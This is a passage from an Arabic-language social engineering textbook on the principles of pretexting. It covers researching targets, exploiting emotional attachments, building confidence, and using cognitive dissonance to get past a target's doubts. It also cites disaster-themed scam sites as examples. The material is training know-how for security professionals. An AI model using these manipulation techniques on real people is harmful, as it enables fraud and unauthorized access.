‫اﻟﻌدﯾد ﻣن اﻟﻣﮭﻧدﺳﯾن اﻟﻣﮭﻧﯾﺔ واﻻﺟﺗﻣﺎﻋﯾﺔ ﻟدﯾﮭم ﻋﻠﻰ ﺷﺑﻛﺔ اﻹﻧﺗرﻧت اﻟﻌدﯾد ﻣن ووﺳﺎﺋل اﻹﻋﻼم اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﺧﺗﻠﻔﺔ‪ ،‬اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪،‬‬
‫وﺣﺳﺎﺑﺎت أﺧرى ﻟﻌﻣل ﻧﺳﺧﺔ اﺣﺗﯾﺎطﯾﺔ ﻟﻌدد ﻛﺑﯾر ﺟدا ﻣن اﻠ ‪ .pretext‬ھﻧﺎك ﺟﺎﻧب ﻣﮭم ﺟدا ﯾﺟب أن ﻧﺗذﻛره ھو أن ﻛﻔﺎءة اﻠ ‪ pretext‬ﯾرﺗﺑط‬
‫ارﺗﺑﺎطﺎ ﻣﺑﺎﺷرا ﺑﻧوﻋﯾﺔ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﺗم ﺟﻣﻌﮭﺎ‪.‬‬

‫ﻣﺑﺎدئ وﻣراﺣل ﺗﺧطﯾط اﻠ ‪Pretexting‬‬

‫ﻛﻣﺎ ھو اﻟﺣﺎل ﻣﻊ ﻛل ﻣﮭﺎرة‪ ،‬ﻣﺑﺎدئ ﻣﻌﯾﻧﺔ ﺗﻣﻠﻲ اﻟﺧطوات ﻷداء ﺗﻠك اﻟﻣﮭﻣﺔ‪ .‬اﻠ ‪ pretexting‬ﻻ ﯾﺧﺗﻠف‪ .‬وﻓﯾﻣﺎ ﯾﻠﻲ ﻗﺎﺋﻣﺔ ﻣن ﻣﺑﺎدئ اﻠ‬
‫‪ pretexting‬اﻟﺗﻲ ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮭﺎ‪ .‬ﺑﺄي ﺣﺎل ﻣن اﻷﺣوال ھذه ﻣﺑﺎدئ ﻓﻘط؛ رﺑﻣﺎ ھﻧﺎك آﺧرﯾن ﯾﻣﻛن أن ﺗﺿﺎف‪ ،‬وﻟﻛن ھذه اﻟﻣﺑﺎدئ ﺗﺟﺳد‬
‫ﺟوھر اﻠ ‪:pretexting‬‬
‫‪ -‬ﻛﻠﻣﺎ ﺗﻔﻌل اﻟﻣزﯾد ﻣن اﻷﺑﺣﺎث ﻛﻠﻣﺎ زادت ﻓرص اﻟﻧﺟﺎح )‪.(The more research you do the better the chance of success‬‬
‫‪ -‬إﺷراك اﻻھﺗﻣﺎﻣﺎت اﻟﺷﺧﺻﯾﺔ ﻟزﯾﺎدة اﻟﻧﺟﺎح )‪.(Involving your own personal interests will increase success‬‬
‫‪ -‬اﻟﻠﮭﺟﺎت اﻟﻣﻣﺎرﺳﺔ أو اﻟﺗﻌﺑﯾرات )‪.(Practice dialects or expressions‬‬
‫‪ -‬ﺟﮭد اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﺧﻔض إذا ﺗم اﻟﻧظر إﻟﻰ اﻟﮭﺎﺗف ﻋﻠﻰ أﻧﮫ أﻗل أھﻣﯾﺔ‪ .‬وﻟﻛن ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬اﺳﺗﺧدام اﻟﮭﺎﺗف ﻻ ﯾﻧﺑﻐﻲ ﺗﻘﻠﯾل اﻟﺟﮭود‬
‫اﻟﻣﺑذوﻟﺔ ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ) ‪Many times social engineering effort can be reduced if the phone is viewed as less‬‬
‫‪(important. But as a social engineer, using the phone should not reduce the effort put into the social engineering gig‬‬
‫‪ -‬ﻛﻠﻣﺎ ﻛﺎن ‪ pretext‬ﺑﺳﯾطﺎ ﻛﻠﻣﺎ زاد ﻓرص اﻟﻧﺟﺎح )‪(The simpler the pretext the better the chance of success‬‬
‫‪ -‬اﻠ ‪ Pretext‬ﯾﺟب أن ﯾظﮭر ﻋﻔوﯾﺎ‪/‬ﺗﻠﻘﺎﺋﯾﺎ‬
‫‪ -‬ﺗوﻓﯾر اﻻﺳﺗﻧﺗﺎج اﻟﻣﻧطﻘﻲ أو ﻣن ﺧﻼل ﻣﺗﺎﺑﻌﺔ ھذا اﻟﮭدف‪.‬‬
‫ﺳوف ﺗﻧﺎﻗش اﻟﻣﻘﺎطﻊ اﻟﺗﺎﻟﯾﺔ ﻛل ﻣن ھذه اﻟﻣﺑﺎدئ ﺑﺎﻟﺗﻔﺻﯾل‪.‬‬
‫ﻛﻠﻤﺎ زاد اﺑﺤﺎﺛﻚ ﻛﻠﻤﺎ زاد ﻓﺮص اﻟﻨﺠﺎح )‪(The More Research You Do The Better The Chance Of Success‬‬
‫ھذا اﻟﻣﺑدأ ﻻ ﯾﺣﺗﺎج إﻟﻰ ﺗﻔﺳﯾر‪ ،‬ﺣﯾث ﯾرﺗﺑط ﻣﺳﺗوى اﻟﻧﺟﺎح ﻣﺑﺎﺷرة إﻟﻰ ﻣﺳﺗوى وﻋﻣﻖ اﻟﺑﺣث‪ .‬ﺣﯾث ﻛﻣﺎ ﺗﺣدﺛﻧﺎ ﺳﺎﺑﻘﺎ‪ ،‬ان ﺟوھر اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻧﺎﺟﺣﺔ ھو ﻛﻠﻣﺎ ﻛﺎن ھﻧﺎك اﻟﻣزﯾد ﻣن اﻟﻣﻌﻠوﻣﺎت ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻛﻠﻣﺎ زادت اﻟﻔرص ﻟدﯾﮫ ﻟﺗطوﯾر ‪ pretext‬اﻟذي ﯾﻌﻣل ﻋﻠﯾﮭﺎ‪.‬‬
‫أﺣﯾﺎﻧﺎ اﻟﺗﻔﺎﺻﯾل اﻟﺻﻐﯾرة ھﻲ اﻟﺗﻲ ﺗﺟﻌل اﻟﻔرق‪ .‬ﺗذﻛر‪ ،‬أﻧﮫ ﻻ ﯾوﺟد ﻣﻌﻠوﻣﺎت ﻏﯾر ﻣرﺗﺑطﺔ ﺑﺎﻟﮭدف ﺣﺗﻰ ﻟو ﻛﺎﻧت ﺻﻐﯾره‪ .‬ﻋﻧد ﺟﻣﻊ‬
‫اﻟﻣﻌﻠوﻣﺎت ﻋن اﻟﮭدف‪ ،‬ﻓﺎﻟﻧظر اﻟﻰ اﻟﻘﺻص أو اﻟﻌﻧﺎﺻر أو اﻟﺟواﻧب ذات اﻟطﺎﺑﻊ اﻟﺷﺧﺻﻲ ﻓﻛرة ﺟﯾدة‪ .‬ﯾﻣﻛن اﺳﺗﺧدام اﻟﻣرﻓﻘﺎت اﻟﺷﺧﺻﯾﺔ أو‬
‫اﻟﻌﺎطﻔﯾﺔ اﻟﺧﺎﺻﺔ ﺑﺎﻟﮭدف ﻟﺗﻣﻛﻧك ﻣن وﺿﻊ ﻗدﻣﺎ ﻧﺣو ﺑﺎب اﻟﮭدف‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث ﯾﺳﺗﺧدم اﻠ ‪ pretexting‬اﻟﺗﻲ ﺗﺗﻐذى ﻋﻠﻰ اﻟﻌواطف دون ﺗردد‪ .‬ﺑﻌد اﻟﮭﺟﻣﺎت ﻋﻠﻰ ﺑرﺟﻲ ﻣرﻛز اﻟﺗﺟﺎرة اﻟﻌﺎﻟﻣﻲ‬
‫ﻓﻲ ﻣدﯾﻧﺔ ﻧﯾوﯾورك ﯾوم ‪ 11‬ﺳﺑﺗﻣﺑر ‪ ،2001‬اﺳﺗﺧدم اﻟﻌدﯾد ﻣن اﻟﻘراﺻﻧﺔ واﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾﺔ ﺧﺳﺎﺋر ھؤﻻء اﻟﻧﺎس ﻟﺟﻣﻊ اﻷﻣوال ﻷﻧﻔﺳﮭم‬
‫ﻋﺑر اﻟﻣواﻗﻊ اﻹﻟﻛﺗروﻧﯾﺔ ورﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﺗﻲ ﺗﺳﺗﮭدف أﺟﮭزة ﻛﻣﺑﯾوﺗر اﻟﻧﺎس وﺟﻣﻊ اﻟﺗﺑرﻋﺎت وھﻣﯾﺔ واﻟﺗﻲ ﺣﺻﻠت ﻋﻠﻰ أﻣوال‬
‫ﻣن ﺗﻠك ﺑﻘﻠب اﻟﻌطﺎء‪ .‬ﺑﻌد اﻟزﻻزل ﻓﻲ ﺗﺷﯾﻠﻲ وھﺎﯾﺗﻲ ﻓﻲ ﻋﺎم ‪ ،2010‬وﻗﻌت ﻧﻔس اﻷﺷﯾﺎء ﺣﯾث وﺿﻊ اﻟﻌدﯾد ﻣن اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن‬
‫واﻟﻘراﺻﻧﺔ اﻟﻣواﻗﻊ اﻟﺗﻲ ﺗﻣرﻛزت ﻛﺈﻋطﺎء ﻣﻌﻠوﻣﺎت ﻋن اﻟﻧﺷﺎط اﻟزﻟزاﻟﻲ أو اﻟﻧﺎس اﻟذﯾن ﻗد ﻓﻘدوا‪ .‬ﺗم ﺗرﻣﯾز ھذه اﻟﻣواﻗﻊ ﻣﻊ اﻟﺷﯾﻔرات اﻟﺧﺑﯾﺛﺔ‬
‫واﺧﺗراق أﺟﮭزة اﻟﻛﻣﺑﯾوﺗر‪.‬‬
‫ﻣﻊ ﻣﺛﺎل أﻛﺛر وﺿوﺣﺎ ﺣﯾث ﺑﻌد وﻓﺎة ﻧﺟوم اﻷﻓﻼم او اﻟﻣوﺳﯾﻘﻰ‪ Search engine optimization (SEO) .‬و ‪marketing geniuses‬‬
‫ﻟدﯾﮭم ﻣﺣرﻛﺎت اﻟﺑﺣث ﯾﻘوم ﺑوﺿﻊ ﻗﺻﺻﮭم ﻓﯾﮫ ﻓﯾﺻل اﻟﻰ اﻟﺟﻣﯾﻊ ﻓﻲ ﻏﺿون ﺳﺎﻋﺎت‪ .‬ﺣﯾث ﻗﺎم اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث واﻟﻘراﺻﻧﺔ‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪816‬‬

‫ﺑﺎﻻﺳﺗﻔﺎدة ﻣن ھذه اﻟﺧﺎﺻﯾﺔ واﻻھﺗﻣﺎم اﻟﻣﺗزاﯾد ﺑﻣواﺿﯾﻊ ﻣﻌﯾﻧﮫ ﺑﺈطﻼق ﻣواﻗﻊ ﺧﺑﯾﺛﺔ وإﻏراق ‪ SEO‬ﺑﮭﺎ‪ .‬ھده اﻟﻣواﻗﻊ ﺗﻘوم ﺑﺟذب اﻟﻧﺎس‪ ،‬ﺛم‬
‫ﯾﻘوم ﺑﺣﺻﺎد اﻟﻣﻌﻠوﻣﺎت أو اﺻﺎﺑﺗﮭم ﺑﺎﻟﻔﯾروﺳﺎت‪.‬‬
‫ﻛل ھذه اﻷﻣﺛﻠﺔ ﺗﺻب ﻓﻲ ﻧﻘطﺔ واﺣده ھو اﻧﮫ ﻛﻠﻣﺎ ﻛﺎن اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻘوم ﺑﺟﻣﻊ ﻣﻌﻠوﻣﺎت ﺟﯾده واﻟﻣزﯾد ﻣن اﻟﺑﺣوث ﻋن اﻟﮭدف‬
‫ﻛﻠﻣﺎ زادت ﻓرص ﻧﺟﺎﺣﮫ ﻓﻲ أداء ‪.Pretexting‬‬
‫إﺷﺮاك اﻻھﺘﻤﺎﻣﺎت اﻟﺸﺨﺼﯿﺔ ﻟﺰﯾﺎدة اﻟﻨﺠﺎح )‪(Involve Personal Interests to Increase Success‬‬
‫اﺳﺗﺧدام اﻻھﺗﻣﺎﻣﺎت اﻟﺷﺧﺻﯾﺔ اﻟﺧﺎﺻﺔ ﺑك ﻟزﯾﺎدة ﻓرص ﻧﺟﺎح اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗﺑدو ﺑﺳﯾطﺔ ﺟدا وﻟﻛن ﻗد ﯾﺄﺧذ ﺷوطﺎ طوﯾﻼ ﻓﻲ إﻗﻧﺎع‬
‫اﻟﮭدف ﺑﺎﻧك ذات ﻣﺻداﻗﯾﺔ‪ .‬ﻻ ﺷﻲء ﯾﻣﻛﻧﮫ أن ﯾدﻣر اﻟﻌﻼﻗﺔ واﻟﺛﻘﺔ أﺳرع ﻣن اﻟﺷﺧص اﻟذي ﯾدﻋﻲ أﻧﮫ ﻋﻠﻰ دراﯾﺔ ﺣول ﻣوﺿوع ﻣﺎ ﺛم ﯾﻔﺷل‪.‬‬
‫ﻣﺛﻼ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬إذا ﻛﻧت ﻟم ﺗرى ﻏرﻓﺔ ﺧوادم ﻣن ﻗﺑل وﻟم ﺗﺗﺧذ أﺑدا ﺟﮭﺎز ﻛﻣﺑﯾوﺗر ﻋﻠﻰ ﺣدة‪ ،‬ﻓﺎن ﻣﺣﺎوﻟﺔ اﻟﻠﻌب ﺑﺷﺧﺻﯾﺔ ﻓﻧﻲ‬
‫ﺷﺑﻛﺎت ﯾﻣﻛﻧﮫ أن ﯾﻛون طرﯾﻘﺎ ﺳرﯾﻌﺎ إﻟﻰ اﻟﻔﺷل‪ .‬ﺿم اﻟﻣواﺿﯾﻊ واﻷﻧﺷطﺔ ذات اﻻھﺗﻣﺎم اﻟﺧﺎص ﺑك ﻓﻲ ﻋﻣﻠﯾﺔ ‪ pretext‬ﯾﻣﻧﺣك اﻟﻛﺛﯾر‬
‫ﻟﻠﺣدﯾث ﻋﻧﮫ وﯾﻣﻧﺣك اﻟﻘدرة ﻋﻠﻰ ﺗﺻوﯾر اﻻﺳﺗﺧﺑﺎرات وﻛذﻟك اﻟﺛﻘﺔ‪.‬‬
‫اﻟﺛﻘﺔ ﯾﻣﻛﻧﮭﺎ أن ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو إﻗﻧﺎع اﻟﮭدف ﻟﻠذي ﺗﻘوﻟﮫ أﻧت‪ .‬ﺑﻌض ‪ pretexts‬ﯾﺗطﻠب اﻟﻣزﯾد ﻣن اﻟﻣﻌرﻓﺔ ﻋن ﻏﯾرھﺎ )ﻋﻠﻰ ﺳﺑﯾل‬
‫اﻟﻣﺛﺎل‪ ،‬ﺟﺎﻣﻊ اﻟطواﺑﻊ ﻣﻘﺎﺑل ﺑﺎﺣث ﻧووي( ﻟﯾﻛون ﻣﻘﻧﻌﺎ‪ ،‬ﻟذﻟك ﻣرة أﺧرى ﯾﺻﺑﺢ ﻣوﺿوع اﻟﺑﺣث ھﺎم ﺟدا‪ .‬أﺣﯾﺎﻧﺎ ﺗﻛون ‪ pretexts‬ﺑﺳﯾطﺔ‬
‫وﯾﻛﻔﻲ أن ﺗﺗﻣﻛن ﻣن اﻟﺣﺻول ﻋﻠﻰ اﻟﻣﻌرﻓﺔ ﻣن ﺧﻼل ﻗراءة ﻋدد ﻗﻠﯾل ﻣن اﻟﻣواﻗﻊ أو اﻟﻛﺗب‪ .‬ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن اﻟﻣﮭم ﺟدا اﻛﺗﺳﺎب‬
‫اﻟﻣﻌرﻓﺔ واﻟﺑﺣث ﻋن اﻟﻣواﺿﯾﻊ اﻟﺗﻲ ﺗﮭم ھﻲ ﺿﻣن اھﺗﻣﺎﻣﺎﺗك اﻟﺷﺧﺻﯾﺔ‪.‬‬
‫اﻟدﻛﺗور ﺗوم ﺟﻲ ﺳﺗﯾﻔﻧز‪ ،‬ﯾﻘول‪" :‬ﻣن اﻟﻣﮭم أن ﻧﺗذﻛر أن اﻟﺛﻘﺔ ﺑﺎﻟﻧﻔس ھﻲ داﺋﻣﺎ ﻧﺳﺑﯾﺔ ﻋﻠﻰ ﺣﺳب اﻟﻣﮭﻣﺔ واﻟوﺿﻊ‪ .‬ﻟدﯾﻧﺎ ﻣﺳﺗوﯾﺎت ﻣﺧﺗﻠﻔﺔ ﻣن‬
‫اﻟﺛﻘﺔ ﻓﻲ ﺣﺎﻻت ﻣﺧﺗﻠﻔﺔ"‪ .‬ھذا اﻟﺑﯾﺎن ﻣﮭم ﺟدا‪ ،‬ﻷن اﻟﺛﻘﺔ ﺗرﺑط ﻣﺑﺎﺷرة إﻟﻰ ﻛﯾﻔﯾﺔ ﻋرض اﻵﺧرﯾن ﻟك ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬اﻟﺛﻘﺔ ﺑﺎﻟﻧﻔس )طﺎﻟﻣﺎ‬
‫أﻧﮭﺎ ﻟﯾس ﻣن اﻟﺛﻘﺔ اﻟﻣﻔرطﺔ( ﻓﺈﻧﮭﺎ ﺗﺑﻧﻲ اﻟﺛﻘﺔ واﻷﻟﻔﺔ وﺗﺟﻌل اﻟﻧﺎس ﯾﺷﻌرون ﺑﺎﻟراﺣﺔ‪ .‬إﯾﺟﺎد اﻟطرﯾﻖ إﻟﻰ اﻟﮭدف اﻟﺧﺎص ﺑك واﻟذي ﯾﻘدم ﻟك‬
‫ﻓرﺻﺔ ﻟﻠﺣدﯾث ﻋن ﻣوﺿوﻋﺎت ﻛﻧت ﻣرﺗﺎﺣﺎ ﻟﮭﺎ‪ ،‬ﻓﺄﻧﮫ ﯾﻣﻛﻧك اﻟﺗﺣدث ﻋﻧﮭﺎ ﺑﺛﻘﺔ‪ ،‬ﻣﮭم ﺟدا‪.‬‬
‫ﻓﻲ ﻋﺎم ‪ 1957‬ﺟﺎء طﺑﯾب ﻧﻔﺳﺎﻧﻲ ﻟﯾون ﻓﯾﺳﺗﻧﺟر ﻣﻊ ﻧظرﯾﺔ اﻟﺗﻧﺎﻓر اﻹدراﻛﻲ )‪ .(cognitive dissonance‬ھذه اﻟﻧظرﯾﺔ ﺗﻧص ﻋﻠﻰ أن‬
‫اﻟﻧﺎس ﻟدﯾﮭم ﻣﯾل ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﺗﻧﺎﺳﻖ ﺑﯾن ﻣﻌﺗﻘداﺗﮭم وآراﺋﮭم‪ ،‬وﻛل أﺳﺎﺳﯾﺎت اﻻدراك اﻟﺧﺎﺻﺔ ﺑﮭم‪ .‬ﻋﻧد وﺟود ﻋدم ﺗﻧﺎﺳﻖ ﺑﯾن اﻟﻣواﻗف‬
‫واﻟﺗﺻرﻓﺎت‪ ،‬ﯾﺟب ﺗﻐﯾﯾر ﺷﻲء ﻟﻠﻘﺿﺎء ﻋﻠﻰ اﻟﺗﻧﺎﻓر )او ﺑﻣﻌﻧﻰ أﺧر وﺟود اﺗﺟﺎھﺎت أو ﻣﻌﺗﻘدات ﻣﺗﻌﺎرﺿﺔ ﻋﻧد اﻟﺷﺧص أﻣر ﯾﺛﯾر ﻋﻧده اﻟﻘﻠﻖ‪،‬‬
‫وﻟذا ﯾﺣﺎول ﺗﻐﯾﯾر ﺗﻠك اﻻﺗﺟﺎھﺎت واﻟﻣﻌﺗﻘدات ﻟﯾﺟﻌﻠﮭﺎ أﻛﺛر اﺗﺳﺎﻗﺎ ﻓﯾﻣﺎ ﺑﯾﻧﮭﺎ(‪ .‬ﻓﺈذا ﻛﺎن اﻟﺷﺧص ﯾﻌﺗﻘد ﺑﻘﯾﻣﺔ اﻟﺣﯾﺎة اﻟطوﯾﻠﺔ واﻟﺻﺣﺔ اﻟﺟﯾدة‪،‬‬
‫وإذا ﻛﺎن ﻣدﺧﻧﺎ‪ ،‬ﺛم ﺟﺎء ﻣن ﯾﺧﺑره ﺑﻣﺎ ﯾﻔﻌﻠﮫ اﻟﺗدﺧﯾن ﻣن أﺿرار‪ ،‬ﻋﻧدﺋذ ﯾﻘوم اﻟﺷﺧص ﺑﻌﻣﻠﯾﺔ ﺗﻐﯾر ﻓﻲ اﻟﺳﻠوك ﺑﺷﻛل ﯾﺣل اﻻﻧﺳﺟﺎم ﻣﺣل‬
‫اﻟﺗﻧﺎﻓر أي ﯾﺗوﻗف ﻋن اﻟﺗدﺧﯾن‪ .‬ﻟﻛن ﻣن اﻟﻣﻣﻛن أن ﯾﺻدر ﺳﻠوك آﺧر‪ ،‬ﺣﯾث ﯾﻧﻔﻲ اﻟﻣدﺧن ﺻﺣﺔ اﻟﻣﻌﻠوﻣﺎت اﻟﻣﺗﻌﻠﻘﺔ ﺑﻣﺧﺎطر اﻟدﺧﺎن وﯾﺳﺗﻣر‬
‫ﻓﻲ اﻟﺗدﺧﯾن‪ .‬ﺑﻌﺑﺎرة أﺧرى‪ ،‬إذا ﻋرف ﺷﺧص اﻧﮫ ﯾﺗﺻرف ﺑطرﯾﻘﺔ ﺗﺗﻧﺎﻓر ﻣﻊ اﺗﺟﺎه ﻟﮫ أھﻣﯾﺔ ﺑﺎﻟﻧﺳﺑﺔ إﻟﯾﮫ‪ ،‬ﻓﮭذه اﻟﻧظرﯾﺔ ﺗﻘرران ﺳﻠوك أو‬
‫اﻻﺗﺟﺎه ﻟﮭذا اﻟﺷﺧص ﻻﺑد أن ﯾﺗﻐﯾر ﺣﺗﻰ ﯾﺣدث اﻻﻧﺳﺟﺎم‪ .‬ھﻛذا ﻓﮭذه اﻟﻧظرﯾﺔ ﺗﻔﺗرض وﺟود ﻗدر ﻣن اﻟوﻋﻲ ﻣن طرف ﺷﺧص ﯾﺟﻌﻠﮫ ﯾﺗﺟﮫ‬
‫ﻧﺣو اﻟﺗﺧﻠص ﻣن اﻟﺗﻧﺎﻓر‪ .‬ﯾذﻛر اﻟدﻛﺗور ﻓﯾﺳﺗﻧﺟر اﺛﻧﯾن ﻣن اﻟﻌواﻣل اﻟﺗﻲ ﺗؤﺛر ﻋﻠﻰ ﻗوة اﻟﺗﻧﺎﻓر‪:‬‬
‫‪ -‬ﻋدد اﻟﻣﻌﺗﻘدات اﻟﻣﺗﻧﺎﻓرة‪.‬‬
‫‪ -‬أھﻣﯾﺔ ﻛل اﻋﺗﻘﺎد‬
‫ﺛم ذﻛر أﻧﮫ ﯾوﺟد ﺛﻼث طرق ﻟﻠﻘﺿﺎء ﻋﻠﻰ ھذا اﻟﺗﻧﺎﻓر‪:‬‬
‫‪ -‬اﻟﺗﻘﻠﯾل ﻣن أھﻣﯾﺔ اﻟﻣﻌﺗﻘدات اﻟﻣﺗﻧﺎﻓرة‪.‬‬
‫‪ -‬إﺿﺎﻓﺔ اﻟﻣﻌﺗﻘدات اﻷﻛﺛر اﻧﺳﺟﺎﻣﺎ اﻟﺗﻲ ﺗﺗﻔوق ﻋﻠﻰ ﺗﻠك اﻟﻣﺗﻧﺎﻓرة‪.‬‬
‫‪ -‬ﺗﻐﯾﯾر اﻟﻣﻌﺗﻘدات اﻟﻣﺗﻧﺎﻓرة ﺑﺣﯾث أﻧﮭﺎ ﻟم ﺗﻌد ﻏﯾر ﻣﺗﻧﺎﺳﻘﺔ‪.‬‬
‫ﻛﯾف ﯾﻣﻛن ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ اﺳﺗﺧدام ھذه اﻟﻣﻌﻠوﻣﺎت؟ ﻋﻧد أداء اﻠ ‪ Pretext‬ﻣﻊ اﻧﻌدام اﻟﺛﻘﺔ ﻋﻧدھﺎ ﻓﺎن اﻠ ‪ Pretext‬ﯾطﻠب أن ﺗﻛون ﻋﻠﻰ‬
‫ﺛﻘﺔ ﺗﻠﻘﺎﺋﯾﺎ وھذا ﯾؤدى اﻟﻰ إﻧﺷﺎء اﻟﺗﻧﺎﻓر‪ .‬ھذا اﻟﺗﻧﺎﻓر ﯾﺛﯾر ﻛل أﻧواع اﻷﻋﻼم اﻟﺣﻣراء وﯾﺿﻊ اﻟﺣواﺟز ﺗﺻل إﻟﻰ اﻷﻟﻔﺔ‪ ،‬واﻟﺛﻘﺔ‪ ،‬واﻟﺣرﻛﺔ إﻟﻰ‬
‫اﻷﻣﺎم‪ .‬ﺗؤﺛر ھذه اﻟﺣواﺟز ﻋﻠﻰ ﺳﻠوك اﻟﮭدف‪ ،‬اﻟذي ﻣن اﻟﻣﺗوﻗﻊ ﺑﻌد ذﻟك ﯾﻘوم ﺑﺗﺣﻘﯾﻖ اﻟﺗوازن ﻓﻲ اﻟﻣﺷﺎﻋر اﻟﻧﺎﺗﺟﺔ ﻣن اﻟﺗﻧﺎﻓر‪ ،‬وﯾﻘﺗل أي‬
‫اﺣﺗﻣﺎل ﻟﻠﻌﻣل ﺒ ‪ Pretext‬اﻟﺧﺎص ﺑك‪.‬‬
‫إﺣدى اﻟطرق ﻟﻠﺗﺻدي ﻟذﻟك ھو أن ﺗﺿﯾف اﻟﻣﻌﺗﻘدات اﻷﻛﺛر اﻧﺳﺟﺎﻣﺎ ﺑﺣﯾث ﺗﻔوق ﺗﻠك اﻟﻣﺗﻧﺎﻓرة‪ .‬ﻣﺎ اﻟذي ﯾﻣﻛن أن ﯾﺗوﻗﻌﮫ اﻟﮭدف ﻋن اﻠ‬
‫‪ Pretext‬اﻟﺧﺎﺻﺔ ﺑك؟ ﻣﻊ اﻟﻌﻠم أﻧﮫ ﺳوف ﯾﺳﻣﺢ ﻟك ﺑﺗﻐذﯾﺔ ﻋﻘوﻟﮫ وﻋواطﻔﮫ ﻣﻊ اﻷﻓﻌﺎل واﻷﻗوال‪ ،‬واﻟﻣواﻗف واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ ﺑﻧﺎء ﻧظﺎم‬
‫اﻟﻣﻌﺗﻘد واﻟﺗﻲ ﺗﻔوق أي ﻣن اﻟﻣﻌﺗﻘدات اﻟﺗﻲ ﻗد ﺗﺟﻠب اﻟﺷك‪.‬‬

‫ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬ﯾﻣﻛن ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻣﺎھر أﯾﺿﺎ ﺗﻐﯾﯾر اﻟﻣﻌﺗﻘدات اﻟﻣﺗﻧﺎﻓرة ﺑﺣﯾث أﻧﮭﺎ ﻟم ﺗﻌد ﻏﯾر ﻣﺗﻧﺎﺳﻘﺔ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أن ھذا أﻛﺛر‬
‫ﺗﻌﻘﯾدا وﺻﻌﺑﺎ‪ ،‬وﻟﻛﻧﮭﺎ ﻣﮭﺎرة ﻗوﯾﺔ إذا ﻛﻧت ﺗﻣﻠﻛﮭﺎ‪ .‬ﻣن اﻟﻣﻣﻛن أن ﻣظﮭرك ﻻ ﯾﺗﻧﺎﺳب ﻣﺎ ﯾﻣﻛن أن ﯾﺗﺻوره اﻟﮭدف ﻋن اﻠ ‪ Pretext‬اﻟﺧﺎص‬
‫ﺑك‪ .‬ﻋﻧد اﻟرﺟوع ﺑﺎﻟﻌﻘل اﻟﻰ اﻟﺧﻠف دوﺟﻲ ھوﺳﺎر‪ ،‬ﺣﯾث ﻛﺎﻧت ﻟدﯾﮫ ﻣﺷﻛﻠﺔ ﺑﺄن ﻟﮫ "‪ "Pretext‬وھو أن ﯾﻛون اﻟطﺑﯾب اﻷﻋﻠﻰ وھذا ﻻ ﯾﺗﻧﺎﺳب‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪817‬‬

‫اﺑدا وذﻟك ﻟﻛون ﺻﻐر ﺳﻧﮫ‪ .‬ﻛﺎن ذﻟك اﻻﻋﺗﻘﺎد ﻣﺗﻧﺎﻓرة‪ ،‬وﻟﻛن ﻋﻠﻣﮫ واﻹﺟراءات اﻟﻛﺛﯾرة أدت اﻟﻰ ﺟﻠب اﻟﻣﻌﺗﻘدات اﻟﻣﺗواﻓﻘﺔ اﻟﻰ "اﻷھداف"‪.‬‬
‫ﺗﻣﺎﻣﺎ ﻣﺛل اﻟﻣﺛﺎل اﻟﺳﺎﺑﻖ‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧﮫ ﻣﺣﺎذاة ‪ pretext‬ﻟﮫ ﻣﻊ ﻣﻌﺗﻘدات اﻟﮭدف ﻋن طرﯾﻖ ﻣواﻗﻔﮭم‪ ،‬واﻹﺟراءات‪ ،‬وﺧﺎﺻﺔ‬
‫ﻣﻌرﻓﺗﮭم ﻋن اﻠ ‪.Pretext‬‬
‫ﻣن اﻷﻣﺛﻠﺔ ﻋﻠﻰ ھذا رأﯾت ﻣؤﺧرا ﻓﻲ واﻗﻊ اﻟﺣﯾﺎة ﻓﻲ دﯾﻔﻛون ‪ .18‬ﻛﻧت ﺟزءا ﻣن اﻟﻔرﯾﻖ اﻟذي ﺟﻠب ‪ CTF‬اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟدﯾﻔﻛون‪.‬‬
